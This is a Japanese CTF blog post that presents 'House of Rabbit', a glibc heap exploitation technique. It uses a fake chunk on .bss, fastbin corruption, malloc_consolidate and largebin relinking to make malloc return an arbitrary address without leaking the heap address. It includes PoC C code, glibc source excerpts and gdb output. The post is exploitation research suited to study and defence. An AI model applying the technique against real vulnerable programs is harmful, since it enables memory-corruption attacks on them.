ShiftCrops つれづれなる備忘録

CTF関連の事やその他諸々

House of Rabbit (仮) - Heap exploitation technique bypassing ASLR - [ja]

本記事では,今回私が新たに組んだ Heap Exploit のテクニックについて紹介します.

このテクニックでは,一般的な Heap Exploit 手法で必要とされるヒープアドレスのリークは不要です. その上で任意のアドレスを malloc で返すことを実現し,その領域に対して書き込むことを可能とします.

結構煩雑な作業が必要ではありますが,条件さえ揃えばだいぶ汎用性の高い手法なのではないかと思います.

The English article is here. shift-crops.hatenablog.com

攻撃概要

攻撃の全体的な見通しを説明します.

ひと言で言ってしまえば,本手法は非常に大きなサイズを持つチャンクを largebins に繋げる攻撃です.
既知のアドレスに用意した偽チャンクのサイズを最大にすることで,アドレス空間を一周して任意のアドレスを malloc で返すことが可能になります.

size を巨大な値に書き換えて任意のアドレスから領域を確保する方法として, House of force を思い浮かべた方もいるでしょう. この既存手法では,topチャンクのサイズを非常に大きくすることで攻撃を可能としています. しかしながら,Heap 領域からのオフセットが変動するような絶対アドレスを malloc で返したい場合,House of force ではヒープのアドレスを予め取得し,その上で Exploit を生成する必要があります.

今回提案する House of Rabbit(仮) では,非常に大きなサイズの偽チャンクは既知アドレスに配置します. そのため,ヒープがマッピングされているアドレスに関わらず同一のコードによる攻撃が可能になります. つまり,ヒープのアドレスを特定する必要がありません.
(libc等のライブラリ関数を攻撃で利用する場合は,もちろん別途ライブラリのベースアドレスをリークする必要あり)

実は名前はまだ決まっていないのですが,ひとまず仮で ‘House of Rabbit’ としています. 余りにも手法からかけ離れた名前は混乱しそうですけど,本手法の「任意のアドレスにひとっ跳び」というイメージから兎も悪くなさそうですよね.

さて,以下に本手法の特徴と攻撃の成立条件を挙げます.

特徴

  • 任意のアドレスを malloc で返すことができる
    • ユーザが操作できる領域よりも下位に対しても可能
  • Heap 領域が配置されているアドレスを特定することが不要

成立条件

  • 任意サイズの malloc,および free を呼ぶことが可能
  • 既知のアドレスに対して 0x20 byte 以上自由に書き込むことができる
  • fastbins の fd を書き換えることが可能な脆弱性が存在
    • fastbin dup
    • Use After Free

動作確認済み環境

攻撃手法

本手法は,大きく分けて3つの段階に分けられます.
偽チャンク(以下,FC:fake chunk)を既知のアドレスに配置し,fastbins の fd を書き換えることが可能な脆弱性を利用して FC を fastbins に繋げます. その後,unsorted bins,largebins の順に FC を繋げ替えていきます.

PoCは以下のリンクに載せています. github.com

FC を既知のアドレスに配置し,fastbins に繋がれたチャンクの fd が FC を指すように改竄します. 改竄を行うための手法としては fastbin dup や Use After Free などが考えられますが,それらの脆弱性はアプリケーションに依存するのでここでは割愛します.

FC のサイズは 0xfffffffffffffff1,FC のnextチャンク(アドレス空間を1周して FC の 0x10byte 直前に位置)のサイズは 0x11 としておきます. こうすることで,FC の next の next は再び FC となるため,互いに互いに対して PREV_INUSE がセットされた状態になります. これは後々 unsorted bins に FC を繋ぎなおす際に必要となります.

        // 3. Make fake_chunk on .bss
        printf("3. Make fake_chunk on .bss\n");
        gbuf[1] = 0x11; 
        gbuf[3] = 0xfffffffffffffff1;   
        printf( "  fake_chunk1 (size : 0x%lx) is at %p\n"
                "  fake_chunk2 (size : 0x%lx) is at %p\n\n"
                , gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);


        // VULNERABILITY
        // use after free or fastbins dup etc...
        fake = &gbuf[2];
        printf( "VULNERABILITY (e.g. UAF)\n"
                "  *fast = %p\n"
                , fake);
        *(unsigned long**)fast = fake;
        printf("  fastbins list : [%p, %p, %p]\n\n", fast-0x10, fake, *(void **)(fake+0x10));

FC の状態は次の通りです.

gdb-peda$ x/4gx &gbuf
0x602080 <gbuf>:        0x0000000000000000      0x0000000000000011
0x602090 <gbuf+16>:     0x0000000000000000      0xfffffffffffffff1

ここまでで,heapの状態は次のようになります. f:id:shift_crops:20170915212335p:plain

PoCではチャンクサイズが 0x20byte となる領域を確保し,それをfreeしたため fastbin[0] に繋がっています. そして fd を改竄した結果,確かに FC を配置している 0x602090 が繋がっているのが分かります. この時,本来は fastbin[0] にはサイズが 0x20byte のチャンクのみが繋がっているはずなのでサイズエラーが出ていますが,exploitを書いているうえでは正しい挙動です.

次に,malloc_consolidate() を呼んで fastbins につながった全チャンクを前後の解放済みチャンクと併合します. 通常 fastbins は,前後の解放済みチャンクと併合されること無くそのままのサイズを保っています. しかし,それがあまりにも多くなると断片化が進んでサイズの大きいチャンクが確保しにくくなったり,メモリ使用効率が悪くなったりします. そこで,あるタイミングで malloc_consolidate を呼び,断片化を解消するような仕組みになっています.

malloc_consolidate が呼ばれるタイミングはいくつか存在しています. ユーザの操作をきっかけに呼び出しやすいタイミングとしては,0x400byte を超えて largebin に分類されるサイズのチャンクの確保や,前後で併合した結果の合計サイズが 0x10000byte を超えるチャンクを free した際が挙げられます. 前者の方が容易に思えますが,後述の largebins に繋ぎなおす際のサイズチェックの関係でこちらはあまり現実的な方法ではありません. では,併合した結果が 0x10000byte を超えるチャンクを free する方法を採りましょう. 単純に 0x10000byte を超えるサイズのチャンクを予め確保しておき,それをこのタイミングで free するのでも良いのですが,今回はtopチャンクの直前に位置する smallbin を free することとしました. topチャンクのサイズが 0x10000byte を優に超える状態であれば問題ありません.

以下に示したのは malloc_consolidate() の処理の一部です.

4486              if (nextchunk != av->top) {

4495               first_unsorted = unsorted_bin->fd;
4496               unsorted_bin->fd = p;
4497               first_unsorted->bk = p;
4498   
4499               if (!in_smallbin_range (size)) {
4500                 p->fd_nextsize = NULL;
4501                 p->bk_nextsize = NULL;
4502               }
4503   
4504               set_head(p, size | PREV_INUSE);
4505               p->bk = unsorted_bin;
4506               p->fd = first_unsorted;
4507               set_foot(p, size);
4508             }

consolidate 対象のチャンクのnextチャンクが top でなかった場合,consolidateの後に unsorted bins に繋ぎます. ここで注目すべきは,この一連の処理の中にサイズに関するチェックが存在しないという事です. consolidate の仕様上仕方のないことではありますが,fastbins につながった間違ったサイズの FC も,この処理で unsorted bins に繋がれます.

先程用意した FC のnextチャンクは 0x602080 に位置するため,もちろんこれは top ではありません. また,互いに PREV_INUSE をセットしておいたため,この関数内の処理で無用な consolidate を避けることができます.

malloc_consolidateを終えた際のヒープの状態です. f:id:shift_crops:20170915222608p:plain

一番下の unsortbin に,用意した FC が繋がれているのが確認できました.

unsorted bins に繋がれたチャンクを smallbins や largebins にチャンクを繋ぎなおすタイミングは,malloc 時に対応する bins から適したサイズのチャンクを見つけられず,かつ unsorted bins からも丁度一致するサイズのチャンクを見つけられなかった場合です. この時に厄介なのが,unsorted bins に繋がれているチャンクのサイズが arena に記録されている system_mem を超えていないかどうかチェックされることです.

以下に _int_malloc 関数のサイズをチェックしている部分を示します.

3723          if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
3724             || __builtin_expect (chunksize_nomask (victim)
3725                      > av->system_mem, 0))
3726           malloc_printerr (check_action, "malloc(): memory corruption",
3727                    chunk2mem (victim), av);

ここの条件に引っかかってしまうと,その時点でプログラムはエラーで終了してしまいます.

ちなみに,system_mem というのは確保したヒープ領域のサイズを保持している要素です. mmap によって確保した領域のサイズは含みません.

gdb-peda$ p main_arena 
$1 = {
  mutex = 0x0, 
  flags = 0x1, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x603410, 
  last_remainder = 0x0, 
  bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 
    - 省略 -
    0x7ffff7dd21a8 <main_arena+1672>...}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff7dd1b20 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x21000, 
  max_system_mem = 0x21000
}

初期状態では 0x21000 となっており,0xfffffffffffffff0 には遠く及びません. libc のアドレスが判明していない現在,system_mem を改竄するという方法は不可能に近いと言えます. そこで,system_mem ではなく,FC の size を書き換えることでこのチェックを逃れるようにします.

ただし,書き換えるサイズは何でもよいというわけではありません. 後々任意アドレスを malloc で返るようにするためには,非常に大きいサイズの malloc を実行した際に,この FC から割り当てられるようにする必要があります. したがって,FC は largebins の最も大きいインデックスの largebin[126] につながるようにサイズを調節しなければなりません.

largebin[126] につながるチャンクの最小サイズは 0xa00000byte です. size を 0xa00001 に書き換えたとしても,それでもやはり system_mem を大きく上回っています. しかしここで,system_mem を 0xfffffffffffffff0 にするのは無理でも,0xa00000 以上にすることはできることに気が付きます.

どのようにするのかというと,単純に 0xa00000 byte を malloc で確保すればよいのです. しかし,これほどの大きいサイズを確保しようとすると,通常の heap 領域からではなく mmap によって確保しようとします. それでは system_mem は増加しません.

そこで,一度 mmap で確保した大きいサイズのチャンクを一旦 free し,次にもう一度確保すると今度は heap 領域に確保されるという挙動を利用します. そうすることで,無事に system_mem が 0xa00000 を超えていることが確認できました.

gdb-peda$ p main_arena 
$2 = {
  mutex = 0x0, 
    - 省略 -
  attached_threads = 0x1, 
  system_mem = 0xa21000, 
  max_system_mem = 0xa21000
}

この操作は,リンクを改竄していない初期状態にやることをお勧めします. ここまで exploit を進めた時点でこれを行おうとすると,結局チェックに引っかかて落ちてしまいます.

        // 1. Make 'av->system_mem > 0xa00000'
        printf("1. Make 'av->system_mem > 0xa00000'\n");
        p = malloc(0xa00000);
        printf("  Allocate 0xa00000 byte by mmap at %p, and free.\n", p);
        free(p);

        p = malloc(0xa00000);
        printf("  Allocate 0xa00000 byte in heap at %p, and free.\n", p);
        free(p);
        printf("  Then, the value of 'av->system_mem' became larger than 0xa00000.\n\n");

さて,予め system_mem を拡張した状態でここまで exploit を進めたとします. 実際に大きなサイズの malloc を行い(PoCでは再度 0xa00000 確保している),FC を largebin[126] に繋ぎなおしましょう.

       // 5. Link unsorted bins to appropriate list
        printf( "5. Link unsorted bins to appropriate list\n"
                "  Rewrite fake_chunk1's size to 0xa0001 to bypass 'size < av->system_mem' check.\n");
        gbuf[3] = 0xa00001;
        malloc(0xa00000);

f:id:shift_crops:20170915230847p:plain

サイズが 0xa00000 の FC が largebin[126] につながったことが確認できました.

ちなみに,先程の malloc_consolidate を呼ぶタイミングとして,0x400byte を超えたサイズのチャンクの確保を選ばなかった理由はまさにこれです. malloc では malloc_consolidate の後にそのまま smallbins や largebins への繋ぎなおしが行われます. すなわち,FC の size を書き換える暇もなく繋ぎなおしの処理が行われてしまうため,サイズチェックをパスすることができないというわけです.

Get arbitrary address with malloc

一度 largebin に繋がってしまえば,あとはこちらのものです. もう一度 FC をいじって size を 0xfffffffffffffff1 に戻します. これでアドレス空間を一周するサイズのチャンクが largebin につながったことになります.

ここから先は House of force と同じ要領です. FC から書き換える目標とする領域までのオフセットを求め(下位の場合は負の値になるが問題ない),2チャンク分のヘッダサイズ(0x20)を減じた値を malloc します. 次に任意のサイズだけ malloc すれば,目標のアドレスが返ってきます.

        // 6. Overwrite targer variable
        printf( "6. Overwrite targer variable on .data\n"
                "  target is at %p\n"
                "  Before : %s\n"
                , &target, target);

        malloc((void*)&target-(void*)(gbuf+2)-0x20);
        victim = malloc(0x10);

あとは煮るなり焼くなり好きにしましょう.

 % ./house_of_rabbit                                                                                                                    
This is PoC of House of Rabbit
This technique bypassing Heap ASLR without leaking address, and make it possible to overwrite a variable located at an arbitary address.
Jump like a rabbit and get an accurate address by malloc! :)

- 省略 -

6. Overwrite targer variable on .data
  target is at 0x602050
  Before : Hello, World!
  Allocate 0x10 byte at 0x602050, and overwrite.
  After  : Hacked!!

関連リンク